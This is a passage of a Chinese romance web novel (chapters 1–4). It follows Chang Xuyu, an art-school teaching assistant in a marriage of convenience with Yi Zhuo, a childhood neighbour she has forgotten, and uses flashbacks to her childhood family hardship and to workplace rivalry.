《絮语[年龄差]》
1. Chapter 01
十一月初。
还有不到一个月就要艺考,机构里的氛围逐渐开始紧张,学生的模考成绩也跟老师的工资挂钩。
中午吃完饭,徐佳端着餐盘追上常絮语,挽住她的胳膊,悄声问她,下午的素描课,一班准备画什么。
常絮语跟徐佳带的都是“清美班”的素描课,一个在一班,一个在二班。
而“清美班”作为整个机构最着重关注的尖子生班,相互间的竞争也早已司空见惯。
而徐佳,最近总喜欢有事没事的过来跟她套近乎。
常絮语抿了抿唇。
她不擅长社交,是个能少说一句就少说一句的性格。
“昨天的半身带双手带静物的照片还没画完,打算今天接着画。”她声音很轻。
课程安排确实是这样,她也没有在刻意隐瞒,毕竟她只是一个助教老师,真正管事教课的老师叫简嘉岳,也是副校长。
徐佳自然不敢打探简嘉岳的口风,只能时不时的过来问一问常絮语。
常絮语话少,性格温和,比简嘉岳好说话的多。
“行我知道了,谢谢你啊常老师。”徐佳笑了一声。
常絮语微微颔首,松了口气,匆匆往教室赶。
午自习要画速写,她作为助教也要时刻在班里盯着。
进了门,却看见了简嘉岳。
见到常絮语,简嘉岳对她笑了笑,同她谈了两句学生的画面问题。
“絮语,徐佳她是不是为难你了?”简嘉岳忽然问。
刚刚在餐厅,他看见了。
徐佳这个人好胜心强,虽然是好事,不过不应该凌驾在欺负同事身上。
尤其是常絮语。
常絮语提着一盒水粉颜料,闻声反应过来,想了想,缓缓笑了笑:“没有。”
见她一副“没什么大不了”的样子,男人叹了口气,他知道她的脾气,没再逼问,只是眼底浮出一丝自责的意味。
“也怪我,没有好好重视这件事,让她频频找你的麻烦。”
常絮语摇了摇头:“学生的成绩要紧,简老师你教学有方,我相信咱们班一定能考好。”
简嘉岳看她忙着给学生做范画,张了张口,小声说了一句:“絮语,有什么困难一定要记得跟我说,别一个人扛着。”
常絮语愣了一下,没多想,就笑着点了点头。
“会的,谢谢您。”
简嘉岳走后,刚刚看了半天热闹的学生凑了过来,满脸写着“我要八卦”。
“哟——”
常絮语不明所以,还以为都是来看她范画的。
谁料学生一开口:“常老师,你跟简老师......”
常絮语闻言,无奈放下笔。
“速写作业布置的太少了?”她佯装生气。
“没有没有!拜拜老师,我们去画画......”
一周一百张单人临摹,可不能再加了!
不一会,跟她一样做助教的老师过来喊她,去看新购进的一批石膏。
前几天,石膏室的吊灯因年久失修掉了,砸坏了许多石膏,校长又急忙订了一批。
石膏室内外,几个师傅正小心翼翼的搬运。
一股泥尘的清气混着粉屑扑面而来。
常絮语穿着墨绿色的毛衣,往后退了两步,打了个喷嚏。
她揉了揉鼻子,抬眼,一缕昏黄的光透过玻璃射进来,照在她跟前的一个男人身上。
男人穿着黑色的皮夹克,很高,一头短发干净利落。
这样张扬的人物很难不进入人的视线。
她的目光落在男人身上,看到那张淡漠的脸,忽然感觉有一瞬的头疼。
“易焯啊,多亏了你,真是解了我们的燃眉之急。”
校长拉着那个男人的手,言恳意切道。
那人客气的笑了一声:“小事。”
常絮语移开眼,静静地物色着要送去清美一班的石膏像,正好明天画素描写生用。
大卫早就画过了,挑点什么呢……
她走近几步,想多看看。
校长注意到她,心血来潮乐呵呵的朝易焯介绍起来:“这是我们机构的常助教,跟你还是同校呢,都是央美的。”
“别看她年轻,水平可不一般啊,真是后生可畏啊......”
常絮语转头,不料却与易焯四目相视,盯着易焯凌厉的五官,她一愣。
男人的眉骨高而平直,发茬利落的贴在额角,微微抿起的薄唇颜色很浅,这张脸如尚未融化的冰山一般,带给人一种莫名的疏离感。
很熟悉,就仿佛,在哪看见过......
闻言,易焯扬了扬眉梢,朝着常絮语走近两步。
她下意识往后退了退,扶了一下鼻梁上要掉不掉的眼镜,小声的客套说:“这么巧啊......”
男人停下脚步,微微倾身打量她。
她的身高有163cm,可能是因为她太瘦的缘故,在他面前显得格外娇小。
特别是今天还穿着宽松的墨绿色毛衣和牛仔裤。
看了一会,易焯忽然笑了一声。
“缘分,”他伸出一只手,“常老师,幸识,我叫易焯。”
......
熬到下班,常絮语将画室的门锁上,又接到妈妈的电话。
“絮语啊,明天周末,给你安排了相亲,记得回家啊!”
她眉头一皱,想到周六画室有小测。
“妈,周六没空......”
电话那头传来不满的斥责声:“偶尔跟领导请个假嘛!都工作几年了还不懂变通?”
她真是对常絮语这个女儿头疼得很,这些年没怎么管过她,越来越不像话,都是被她那个姑姑带的!她小时候多乖啊,想到这,常母就头疼。
就应该早点把她嫁出去,女孩家,一直不处对象不结婚能行?
又是一顿说教,她抿唇,揣着兜便走边听。
楼梯阴暗无光,静的只有她一个人的脚步声。
“好了,你现在都24岁了,有的话说的你耳朵生茧你也不听,你记得周末回来就行。”
“嗯,知道了。”
挂了电话,她站在原地,长长的舒了一口气,准备自己一个人去吃一顿烧烤。
到了周六,她提前请好假,买了一堆东西打车回家去。
母亲开了门,满面春光的拉着她进门。
“絮语啊,给你介绍一下,这是易焯。”
听到这个名字,常絮语一愣。
客厅沙发上,易焯端正的坐在那,穿着件深色的大衣,见到她,面上浮现出一丝笑意。
“又见面了,常老师。”
她呼吸一滞。
*
一月底。
现在是凌晨四点半,常絮语有夜里起来喝水的习惯。
落地窗前,银霜伴着丝丝凉意溜了进来,她端着杯子走近,温吞的抿了一口水。
干涩的喉如释重负。
床上的男人许是察觉到怀里的落空,蹙着眉睁开眼,瞥见她的背影,心里稍稍安定下来。
接着,她肩上便多了条绒毯。
“夜里凉。”
他的声音带着事后的餍足,有些沙哑。
易焯的手掌宽厚,轻轻搭在绒毯上,温度透过毯子,慢慢焐热了她冰凉的肩头。
随着二人的距离越来越近,常絮语深吸一口气,莫名有些紧张起来。
她与易焯,虽不久前结束了一场情事,可这样清醒的靠近,却令她不自在。
常絮语转过身去,与他拉开了距离,闷声道谢。
接着,匆匆喝完了手里
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的水,放下杯子上床。
易焯随意地拨了拨额前的碎发,狭长的眸子里含着一丝晦涩,转头看着床上隆起的一个“小鼓包”,他失笑。
一片静谧中,常絮语躲在被子里,耳边清晰传来拖鞋在地毯上摩擦的声音,接着身旁陷下去一块,淡淡的薄荷混着烟草的清气再度萦绕而来。
躲在棉被里,细细听着耳边逐渐均律的呼吸声,她“砰砰”的心跳声也慢慢平静下来。
悄悄探出半个脑袋,趁着半抹月光仔细观摩着易焯的侧脸轮廓。
凸出的眉弓骨,深邃的眼窝,薄唇微闭,鼻梁高挺......
艺术出身的常絮语格外喜欢这样骨相好的人。
她看愣了神,鬼使神差的伸出手,在半空虚虚描摹着他的侧颜。
怎料下一秒——
男人忽的睁开眼,侧过身来看她,眼底带着忽明忽暗的笑意。
她的心“咯噔”一声,来不及收回的手被他一把攥住。
男人顺势压了过来,小臂撑在她耳边,一股压迫感顷刻间席卷而来。
零星的睡意全无,她微微侧过头去,不敢直视他。
易焯静静看她一会,瞥见她颈脖处某片痕迹,忽的笑了一声。
“如果不困,那再做点有意思的事?”他低声询问,模样却正经的很。
她脸越来越红,像是豁出去一样微微仰起头看着他,一双杏眼含着淡淡的水意。
“都要,天亮了......”
话一出口,却尽是祈求的意味,加上她细软的嗓音,易焯只觉身上某处一阵酥酥麻麻。
她咬唇,示意他看看一旁的时钟。
凌晨五点了。
“那我尽快。”
男人缓缓靠近她,属于他的气味更加浓重。
常絮语瑟缩了一下,在他的唇将要凑上来时,冷不丁偏过头去。
易焯愣了愣神,以为她不会拒绝。
“怎么了?”
他边问着,身体撤远了一些。
常絮语深吸了一口气。
结婚两个月,他们之间,最亲密的事就是在床上翻滚。
除此之外,一句寒暄的温情蜜语都没有。
她忍不住,缓声问了出来——
“易焯,为什么是我?”
常絮语记得,相亲那天,易焯跟她坦白说需要一个伴侣应付家里人。
他有自己的生意和梦想要做,不想那么早继承所谓的“家业”。
听她话里的情绪不分明,他眯了眯眼,又瞧见她眼底的一丝落寞和期待。
她是想从他口中知道什么答案呢?
常絮语转过头来。
易焯默不作声地咬了咬牙,又倾身,飞速在她唇上印下一吻,道:“没有‘为什么’,我们只是结婚了。”
当初相亲,她想用“近年不打算要孩子”的话劝他知难而退。
可她不知道的是,和她结婚,早是他蓄谋已久的事了。
常絮语眼里泛起泪花,没得到想要的答案,她心里难过。
难道结婚了就只是为了......做这种事吗?
没有别的理由?
她忍住泪花和心痛,下定决心不想跟他这么过下去。
她也有自己的人生和爱情,不能就这么葬送在他手里。
“易焯,开了春,我们离婚吧。”
“什么?”
她深吸了一口气,想了想,又看着他,认真道:“彩礼钱......我会还给你。”
毕竟他给的确实太多了。
易焯愣了一下,不可置信的盯着眼前美丽天真的妻子。
接着,他张了张口,说不出一个字来,才发觉自己被气笑了。
“絮语,你真的不知道为什么?”他的声音压的很低,像是一种警告。
2. Chapter 02
那年盛夏,白昼分外长,小巷子里,一群孩子追逐打闹,所经之处散漫着乳臭和汗腥的味道。
生锈的防盗窗外挂着几盆绿萝,墙上有许多爬山虎,都长得郁郁葱葱。
昨天下了场雨,楼下堆积的土成了孩子们的玩具。
“絮语,这一次可以让我当姐姐吗?”
跑累了,就围着土堆玩过家家游戏,蹲下来商量角色的扮演。
扎着俩辫子的小姑娘奶声奶气的询问在一旁安静画画的常絮语。
有人率先反对:“这是咱们一开始定好的啊,我觉得絮语更适合当姐姐。”
“可她都当了好几次了,不能换换吗?”
小姑娘撇撇嘴,开始嘟囔。
其实常絮语确实很适合扮演姐姐,她长得漂亮声音又好听,乖乖的,街坊邻居、大人小孩都喜欢她。
“絮语你说。”
常絮语一愣,她感冒了,说话的时候掺着重重的鼻音,瓮声瓮气道:“我都可以啦。”
她手上攥着根小木棍,在土上画了几朵花。
其实什么角色都无所谓,她也不在乎这些,只要大家能玩得开心就足够。
“那今天就让童童当姐姐吧!”
见常絮语没有异议,一群孩子妥协了。
童童开心的大笑,晃着常絮语的胳膊:“絮语你最好啦。”
絮语接过手里的塑料娃娃,给她梳了一个和自己一模一样的麻花辫子。
她额上冒着一层细细密密的汗,动作慢吞吞的,她自己的发质软乎,塑料娃娃就不同了,一缕一缕,她编的艰难。
忽然,头顶投射过来一道两道人影,一大一小。
常絮语抬头,一个近中年的男人牵着一个男孩的手,微笑的看着她。
“小姑娘,你们能带我儿子一起玩吗?”
他将男孩往前推了推。
“易焯,去跟小妹妹说说话。”
男孩额间有一道不深不浅的疤痕,近看有些可怖。
他脸上的表情,也仿若是蓄积了雷势的阴云,一双眸子里满是阴鸷,让人不寒而栗。
很明显,他不愿意。
常絮语有些无措的看着两人。
中年男人的唇角抽搐几下,脸上的笑意没了,取而代之的则成了愤怒。
接着,他一脚将面前的男孩踹到在地,恶狠狠的吼道:“老子治不了你这犟脾气!”
易焯冷不丁的跪倒在地上,吃了一嘴的土。
常絮语吓坏了,本能的伸出手臂,将比她高半个头的易焯护在身后——
“叔叔别打了,我,我带他玩,您放心吧。”
易焯猛地转过来,映入眼帘的是常絮语一条乌黑油亮的长辫子。
他反应过来,吐掉嘴里的泥,又看向男人,狭长的眸子里满是愤恨和隐忍。
见常絮语发了话,男人闭了闭眼冷静下来,发觉是自己冲动了。
待男人走后,易焯皱着眉站在一边,不知道是不是长相有些凶,除了常絮语以外,别的孩子根本不靠近他。
他也懒得搭理一群小孩。
看着夕阳渐颓,他不耐烦地挠了挠头,热的心烦意燥。
转头看常絮语,小姑娘的汗顺着白皙的皮肤滴在地上,他“啧”了一声,走上前看她在干什么。
“你画的是什么?”他嫌弃的上前观摩一阵,没看出来她画的是个什么东西。
常絮语眨眨眼睛,也不恼,慢吞吞的说:“我也不知道,但是我觉得画画很好玩。”
“哦,你的愿望不会是当个画家吧?”
小姑娘眼睛一亮:“你怎么知道!”
易焯没回话,觉得她傻的可爱。
他挑眉,摆了摆手:“你的愿望会实现的。”
*
回到家,常絮语跟妈妈说了今天的事。
女人在厨房打扫着灶台,想了想,漫不经心道:“刚搬来的那户吧,就住这栋楼。”
不过她今天跟邻居聊天,聊着这家人好像很有钱的样子,怎么会搬来住这样的房子呢?
常絮语啃着苹果,坐在客厅看漫画书。
“妈妈,那个叫易焯的哥哥人很好呢,他说我可以成为大画家。”
她是真的开心。
谁料常母出来,边甩着手上的水,边皱着眉教育她:“什么画家?少看点这些破漫画书,有这时间,你不如赶紧把算数作业写了。”
“一天天的,我都忙死了......”
女人把沾着油星子的围裙解下来,随意锤了两下酸痛的后腰,进了卧房。
常絮语看着她的背影,默默吞下最后一口苹果,悻悻的从书包里掏出习题本。
......
开学了,这天早上,常絮语下了校车,恍然间,看到一个熟悉的身影。
她往前跑了两步,定睛瞧了瞧,随即便笑了出来:“易焯哥哥!”
听见这稚嫩的童声,易焯转头,便见一个半大的扎着俩辫子的小姑娘站那傻乐。
他有些好笑,揣着兜走过去,看了看她身上宽大的校服,“啧”了一声:“你妈妈放心你一个六七岁的小孩自己上学啊?”
常絮语的书包很沉,她拉着书包带子,想了想,回答道:“妈妈工作很忙的,我坐校车,不会有事哒!”
易焯没乘过校车,都是私家车接送。
他点了点头:“那你还挺勇敢。”
常絮语比他小了三岁,他晚上学一年,两人的年级相差不大,教室也在同一栋楼。
他看着常絮语柔软的发顶,伸手摸了摸,毛茸茸的。
“以后就跟我一起上学吧。”
“真的?”常絮语一愣。
“嗯。”
易焯看了一眼腕上的表,皱眉:“还有五分钟,先进校门再说。”
把人送到一年级三班,易焯转身,三步并做一步跑上了四楼。
他扶着门槛吗,半蹲着喘气,过了一会,面前赫然出现了一双擦得油亮的黑皮高跟鞋。
班主任怒道:“易焯,上一年我就警告过你,开学再迟到就把你爸喊来。”
易焯咬了咬后槽牙,抬起头直视她。
“我爸太忙了,我都几个月没见过他,要不老师,”他站直,淡声:“你给他打电话试试看吧。”
“你!”
他歪头,眼中满是不屑和轻蔑。
“反正你是他女朋友,你叫他来,他不会不来。”
此言一出,班主任吓得面色煞白,她猛地回头看教室里还在晨读的学生,好在易焯把声音压得很低,并没有惊动其他人。
“易焯!你还有没有点规矩!”班主任摆起款来,低声训斥。
易焯懒得跟她废话,他花心的爹有钱有权,在外面招惹了不知道多少女人。
他跟班主任是上学期家长会看对眼的,班主任就一心想嫁来给易焯当后妈。
可易焯早就看透了,“未婚妻”和“女朋友”可不一样,未婚妻是门当户对相互扶持的,而“女朋友”只是他爹花心消遣的人物。
就连他要搬家,也是因为他爹不想让未婚妻发现他有个这么大的儿子。
易焯绕过她,阔步进了教室门。
在一众人的注视下,他冷着一张脸回到座位,心里烦躁,索性就趴在桌上睡觉了。
众人议论纷纷。
同样臭着一张脸的班主任也走进来,看见易焯,气不打一处来,却也管教不了。
“都看他做什么?背你们的课文!”
......
到了放学,他慢悠悠的下楼,无意瞥见了在教室打扫卫生的常絮语。
小姑娘个子矮,脚下垫着个板凳,才堪堪能将手臂伸到黑板的中间。
常絮语正心无旁骛的擦着,忽的觉察到玻璃窗外投射进的一个人影。
转过头,跟易焯四目相视。
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>“易焯哥哥!”她一笑,露出两颗小虎牙。
易焯微微扬唇,冲她摆了摆手,然后走了进来。
“我帮你吧。”
说着就拿起一旁的拖把。
“啊,那,那谢谢易焯哥哥了。”
易焯干活的动作很利落,躬着腰半天不吭声,等常絮语再转头,他已经把整间教室的地都拖完了。
她扫试了一圈,眨了眨眼,心里分外感激。
“哇,这么快就好了!”
易焯随手拎起她的书包:“走,回家。”
出了校门,一直低着头的常絮语突发奇想,跑到小卖部买了两支冰棍。
易焯都帮她做值日打扫了,她也不能白收他的好,总要有感谢才是。
一支草莓味的冰棍被递到面前,易焯下意识往后退了一步。
“易焯哥哥,请你吃,”常絮语叼着自己的冰棍,手上整理着零钱,说话含糊不清:“细细你办我做值日......”
他晃了晃神,接过面前这根冰水和色素混成的冰棍。
“小事。”
他淡声,又抬手,摸了摸小姑娘柔软的发顶。
街道上堵满了三轮车和自行车,“叮铃叮铃”的声音仿佛绕着这座城市走了一圈又一圈。
小摊上此起彼伏的叫卖声和酱香饼的味道混在一起,在氤氲着白雾的泡面汤中,清晰又模糊。
夕阳伴着火烧云,一高一矮的身影在石子路上被投射的很长,很长。
冰棍甜腻带着一丝酸涩的味道充斥在他的口腔,一伸舌头,发现舌头被染红了半截。
他从来没吃过这个东西,皱了皱眉,攥在手里扔也不是,不扔也不是。
一低头,却见常絮语额角冒着汗,慢慢的吃着,嘴巴上红了一片。
这模样有点好笑,他压住嘴角,从口袋里掏出一包纸巾递给她。
又过了两天,一个黄昏后,天擦了黑,常絮语忽的从家里跑出来,一个人坐在土堆前哭。
她的头发没了。
原本乌黑油亮的长辫子,被妈妈一剪刀剪了下来,说是要卖给收头发的。
她极力抗争阻挠,还是被摁住了。
“那么长的头发留着干什么?还浪费洗发水,剪了还能再长呢。”
她哭的声音不大,却惊动了家住一楼的易焯。
拉开窗户,一眼就看见了常絮语。
他出门去找她,见她眼泪直流,又注意到她的齐耳短发,皱了皱眉。
“怎么搞的?”
见到易焯,常絮语的泪就跟断了线的珠串一样,止不住的往下掉。
她擦了擦泪,哽咽着小声说道:“妈妈,妈妈把我的头发剪了,拿,拿去卖了......换钱。”
“我留了,留了那么长时间......现在,编,编不了好看的,辫子了。”
她每说一个词就哼哧一声喘口气,眼圈红红的,模样分外可怜。
易焯上前几步,蹲下来看着她。
“没事,絮语短头发也好看。”
他照例揉了揉她的发顶。
“还会长出来的。”
“有人嘲笑你,你就来找我,我替你打他。”
他又挥了挥拳头。
常絮语的心态一直很好,被他三两句就给逗笑了。
见她笑了,易焯也总算是在心里松了口气。
夜幕降临,家家户户亮起了灯,两个小孩蹲在一起,无意识的享受着此时的微光。
在这里的生活很平静,平静到对外界一点烦心事都没有;也很吵闹,吵闹到三天两头听见隔壁炒菜剁肉的声音。
不过易焯承认,他很喜欢这里。
也习惯了每天上学,有个跟在他身后的,某个小屁孩。
可人间总有离别。
易焯搬走那天,所有人都措不及防。
常絮语追出巷子很长一段路,却连跟他的告别也没有。
3. Chapter 03
易焯搬家的那一年,常絮语六岁。
在她生命里短暂停留过三个月的人影,随着岁月的悠长,慢慢变得模糊,逐渐消散殆尽。
小孩子忘性快,多年后,有人再提起她的“画家”梦,她也只是低头想了很久,最后淡笑的回答一句——
“年龄小,不懂事。”
而伴随着她那个信誓旦旦一定要为之努力的梦想的人,她却怎么也记不起来了。
只记得那一年在一个很老旧的巷子里,她留了很长时间的头发被卖掉,回到家就要做算术题。
上高二那一年,家里迎来了一个新成员——比她小整整十六岁的弟弟。
因为,弟弟常延延跟她不同年却同月同日出生。
有时候,不得不相信,世上的巧合就是这么多。
都说女儿终究是要嫁出去的,靠不住,得有个儿子才算老有保障。
有邻居给常絮语上眼药,说有了弟弟,妈妈就不再疼你了。
其实,常絮语倒觉得,生活没什么变化。
她早就习惯了。
从小耳目渲染,要听话、孝顺。
后来又多了一句:“你是姐姐,要照顾好弟弟。”
“妈妈对你舅舅也是这样的,多个兄弟互帮互助,多好的事啊。”
常絮语点了点头,低头看着妈妈怀中的婴儿。
他的眉眼和妈妈很像。
她要学的更懂事,不让家里人操心。
然后照顾好弟弟,做个榜样,让人刮目相看。
直到高二暑假,美术生要集训。
她攥着那份机构招生的传单,在门外踱步许久,还是进了门。
将传单递过去,不出所料,被女人一口回绝了。
“絮语啊,妈妈有没有说叫你懂事点?这么贵......你能不能替你弟弟考虑考虑?”
她越说越气,常絮语就静静的站在原地,不接话。
气不打一处来,她抄起手边的物件,砸向常絮语。
常絮语捡起地上被撕成两半的传单,默默出了门。
好巧不巧,那天,她的姑姑上门拜访。
姑姑穿着现下正时髦的吊带衫,瞥见走廊里哭的花猫似得常絮语。
“乖乖哟,这是怎么了?”
常絮语站起来,宽大的校服衬得她更加瘦小。
她抿着唇,不肯说。
姑姑皱着眉,知道跟她嫂子脱不了关系,便拉起她就要上楼。
常絮语挣扎,眸中含泪,冲她慢慢摇了摇头。
“我没事姑姑......我没事。”她嗫嚅道。
她妈妈一向看不上她这位姑姑,私下总说她没个正形。
其实,也就是女人独自在外闯荡,生意做的还格外红火。
见状,女人松开她,一个人往楼上走,高跟鞋“哒哒”的声音回荡在整个楼道里。
不一会,叫骂声就传遍这栋楼的每个角落。
家里开着门,一里一外,嚷的起劲。
常絮语缩在角落里闭了闭眼,想着晚上又要挨打挨骂,甚至没有晚饭可吃。
“常红,我忍你很久了!改个‘常胜楠’的名字要做什么?自己没个正形就算了,絮语是我女儿!你别把她也教成你这个样子!我丢不起这个人!”
“什么叫‘我这个样子’?我做什么伤天害理的事了让你整天在背后传我的闲话?小家子气你还好意思议论我?”
......
常絮语双目无神,听着越来越激烈的骂声,她心里悔恨,为什么要学画画?
她流着泪,将传单撕的粉碎。
都怪她,如果不跟妈妈提这个事,就不会有这些麻烦事了。
还害得姑姑跟家里撕破脸皮。
都是她的错......
她将撕的粉碎的传单一手扬出去。
忽然,姑姑“铛铛铛”的跑下来,一脚踩在那一堆纸屑上,拉起常絮语的手说:“絮语,跟姑姑走,姑姑出钱让你学。”
常絮语一愣,看着满身珠光宝气的姑姑,猛地摇了摇头。
“不用了......不能这么麻烦您,我,我不想学了。”
话罢,她低下头,不敢看女人的脸色。
谁知,女人只是心平气和的说:“絮语,姑姑只给你这一次机会。”
她的心随着这句话也“咯噔”了一声。
头顶突然传来一声怒骂:“白眼狼,你要跟她走就别再回来!”
老旧的楼道里散发着一股石灰和粉尘的味道,墙皮渗水脱落,这栋楼的人隔着一道们,不知道是不是在听热闹。
从小到大,这种“热闹”真的够多了。
常絮语闭了闭眼。
往事历历在目,像走马灯一样,许多瞬间在她脑海中一点一点放大、回旋。
她学着妈妈的样子努力做个合格的女儿,无论怎样,都没有怨言。
“亲情”这个东西,由血缘组建,隔不断,是人绝境时能看到的光亮,她以前很渴望得到这些东西,却发现很难很难,无论她怎么伸手去勾都没有办法抓住,像是飘渺的风和雨。
她得不到它,患得患失,却经常被它驱使,做一些让自己不开心的或者很勉强的事。
她真的很不开心,有的时候莫名想哭,坐在小凳子上看看夕阳,转瞬即逝的美好也随着夜幕降临慢慢消散掉。
可能有些东西,她本来就不该追寻和拥有。
良久,她启齿:“姑姑,我跟你走。”
楼上的人不可置信的哼笑两声,接着摔门而去。
总是这样,所有的委屈和愤怒都可以不顾常絮语的处境,随意发泄。
以前不在意,现在忽然明白了。
她自始至终都没有被在意过。
坐上姑姑的跑车,常絮语咬着指甲,一言不发。
后来想了想,她小声说:“姑姑,对不起。”
“你就当我是在跟妈妈赌气,过两天我自己会走的......”
女人把着方向盘,看了她两眼,笑了一声:“絮语啊,你喜欢画画吗?”
常絮语慢慢点了点头。
闻言,女人将车停在路边。
“那就好,”她顿了顿,“人总要为自己的梦想奋斗一次。”
“絮语你记住,不要总是为了迁就别人,让你自己难过。”
她知道,这个性格温吞的小姑娘为了这个家,会咽下多少委屈。
常絮语愣了愣。
“以后遇到爱情也一样。”
她伸手,摸了摸常絮语柔软的发顶。
*
那句话,常絮语记了八年。
虽然她的性格还是老样子,可遇上某些事,却不会再像从前那样唯唯诺诺。
当易焯在床上质问时,她觉得不舒服,索性就一直闭口不言。
易焯的神色冷的像雪山顶刺骨的寒风,毫不晦涩的裹挟着他面前这个要跟他离婚的女人。
不知道从什么时候开始,她变得越来越冷漠。
记得小时候,她明明只是个傻姑娘。
或许是俗语常说的,女大十八变。
常絮语偏过头,不再看他,愣是一个字都没蹦出口。
她死死咬着下唇,
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一截白皙的颈脖上冒着淡色的筋络,就这么暴露在男人的视野中。
夜色若水,淡淡银霜透过纱帘洒在两人身上,卧室里只能听见彼此的呼吸声。
忽的——
易焯恍然,她藏匿在眸底处的,一抹很浅的泪意。
他的心脏,骤然袭来寸寸的痛感。
那抹泪意像一把剔骨刀,他全身的骨节都难逃一劫。
男人闭了闭眼,从她身上下来,摸出火机,点燃了一根香烟。
一手推开窗,宁古丁混着冷风,在他高挺的鼻梁上缓缓升腾,撩动他额前的碎发,像摆钟一样敲醒了他的理智。
常絮语恍然坐起来,下意识往后退了退。
她环住双膝,淡紫色的丝绸睡衣缓缓从小腿往上收缩。
攥着衣料的手微微颤抖。
凌晨,夜幕中偶嵌有星子,男人背对着她,将烟雾缓缓咽下,再轻轻吐出,烟圈悠悠弥散着,若隐若现的烟飘进室内。
常絮语有遗传性哮喘,不喜欢香烟的味道。
她埋头,很轻的咳嗽了一声。
易焯夹着烟的手骨节分明,闻声顿了顿。
他将烟摁进烟灰缸,将窗子开大,风灌进来,他将那条绒毯重新披在她肩头。
“对不起。”
道歉的声音哑然,低沉富有磁性,在她耳边回旋。
她抬眼,却见男人眼尾泛红,不知道是不是刚刚抽了烟的缘故。
他没有抽烟的习惯,只是偶尔会。
常絮语张了张口,却没再说话。
她知道,刚才对他的态度不好,可她控制不住。
易焯对她很好,可这“好”来的太过仓促,也太过奇幻。
更像是昙花一现,像从前她依赖的某些人或物会突然消失不见一样。
她太害怕失去。
他们明明两个月前,他们还只是陌生人。
可易焯带给她的感觉,仿佛他们已经认识了很多年。
“没,没关系的。”
她抿唇,觉得这句道歉也来的莫名其妙,却也不知道该怎么答复。
易焯坐在床边,伸手揉了揉她的发顶。
这个动作是他一贯喜欢对她做的。
很熟练。
常絮语没多想,只是沉默的看着他。
天将破晓,微曦初照,银辉逐渐消散。
她的瞳色偏浅,遇光透亮澄净,像雨后初霁,春笋生芽。
易焯喉结滚动,收回手去关窗拉帘。
还有时间,能抱着她,再安安静静的睡一会儿。
躺在床上,男人伸出手臂去抱她,发觉她腰身轻颤。
他蹙眉。
“絮语,你在怕我?”
言语中带着一丝急切,周身戾气也徒然暴起。
她翻了个身,在一片黑暗里,终于找到自己的声音——
“没有,我只希望,你能将我刚才说的话放在心上......”她顿了顿,“易焯,我们现在的一切都太过虚幻。”
四周一片寂静。
“我不想这样。”
她偏过头,神色淡淡,蓦然道。
闻言,男人眉心拧在一起。
想起她温吞的性格,对谁都和颜悦色,唯独对他笑意浅浅。从一开始就是这样,她好像从来没有对他表怀过什么心意。不单纯是因为她这个人情绪不高,做事从容淡然——
他能感受到,她对他似有似无的疏离。
半晌过去,他哑然质问:“你就这么讨厌我?”
声音像冬日结了冰层的湖面,不小心碰到,只觉生冷刺骨。
4. Chapter 04
那晚过后,两人连着几天都没有什么联络,见了面,话更少了。
房子也空了。
阳台养的花草没了精神气,面对冬日的烈阳,有些萎靡。
易焯是真的忙,工厂里的电锯声不断,幸好玻璃是隔音的。
他满身石屑粉灰,窗边的烟灰缸里,还有残余的烟蒂。
手机屏幕里,是停在“絮语”页面的通讯录。
看了很久,他始终没有摁下拨通键。
常絮语倒不是很忙,带完了这一届学生的艺考,出了分数,短暂的喘了口气。
她和简嘉岳带的班成绩不错,简嘉岳带着几个学生在准备美院的校考。
奖金也发下来了,她动身去财务部。
常絮语走的慢,却还是撞到了人。
准确来说,是那人走得太快,没看路,撞上了路过门的常絮语。
她退后两步,扶正眼镜框。
是徐佳。
清美二班考得不好,还有几个准备复读,校长生了一场气,扣了清美二班所有老师的奖金。
这其中,自然也包括徐佳。
为着这件事,同事见面,一班跟二班的老师基本没交谈。
都秉承着“幸福者退让原则”。
常絮语是个喜欢少说话多做事的性格,什么也没说,绕过徐佳要走。
徐佳刚听完主教发的牢骚,心里正烦躁着。
她白了一眼常絮语,随手拍了拍衣服上不存在的灰,像是撞到了常絮语才粘上了似的。
她知道常絮语一向是个脾气软的,见人要走,径直就拦住了她。
常絮语往后退了一步。
“你有事吗,徐老师。”
徐佳的面色黑的像雨云,蓄积了雷势,下一秒就要劈向她。
“常老师这是要去财务部领奖金呢吧?”
语调微扬,话语间带着点讽刺的意味。
她就是不服,当初她跟常絮语同一天入职,常絮语就能跟着一个年轻英俊的副校长带最好的班级,她就只能被塞进二班,整天在喜怒无常的上司手底下讨生活。
明明都是助教,凭什么她运气那么好。
想着想着,徐佳咬紧了后槽牙。
常絮语不想跟她讨论这个话题,没吭声,绕开她继续往前走。
走了几步,忽然听到身后的低声咒骂。
“也不知道用的什么手段,还有副校罩着,呵。”
常絮语放缓了脚步,抿了抿唇,转头对徐佳道:“我跟简老师,和你一样,只是同事。”
大概是没想到这么小声也能被她听见,徐佳愣了愣,轻咳了一声。
不过听都听见了,再装下去也没什么意思。
她哼了一声,大步离开。
常絮语在原地停留了几分钟,觉得头痛,不想跟这种人再计较那么多,就匆匆去财务部领了钱。
回到办公室,见徐佳正跟一旁的女助教津津有味的聊着什么,时不时的撇撇嘴。
见到常絮语,两个人更是不约而同的对着她翻了个白眼。
常絮语默不作声回到工位上批速写作业。
忽然,从外面跑进来两个学生。
高一的,是常絮语负责的组,平时比较活泼好动,也很喜欢粘着常絮语。
跑的气喘吁吁的两个人,拿着几张单人速写照片,满面春光的将纸张递给她。
“老师,这我新画的,咋样!有进步没?”
他眼里像是闪着星星,期待常絮语的回答。
常絮语是鼓励型教师,这俩学生经常自己加练,再跑上楼让她看,画画很刻苦。
她笑着从抽屉里掏出两个棒棒糖来:“有进步,型越来越准了,来,一人一个。”
“哈哈哈!谢谢常老师!”
常絮语仔细看着几张画,耐心的将画中不足的地方讲给他们。
看到这一幕,徐佳突然气不打一处来。
“能耐什么呀……”
她脱口而出。
闻声,常絮语感觉心跳漏了一拍。
徐佳愣了愣,意识到说错话的时候也为时已晚。
还没等常絮语开口,两个学生就小声嘟囔:“怪不得第三组的人不喜欢徐老师。”
徐佳是出了名的脾气不好,布置的作业多,很少鼓励人。
这个年纪的学生大多情绪敏感,爱憎分明,喜欢或讨厌一个人从来都是挂在脸上。
本来就没多少学生喜欢徐佳,又撞见徐佳这么对常絮语冷嘲热讽,跟职场霸凌有什么区别?
他俩是常絮语的学生,当然看不惯常絮语被人欺负。
两个人声音不大,但在安静的办公室里,还是很有力量,几乎传遍了所有人的耳朵。
办公室所有人都投来异样的目光,徐佳面子上过不去,憋红了一张脸,指着两个学生怒喝:“有没有规矩?不懂什么叫尊重老师吗?怎么能这么跟我说话!”
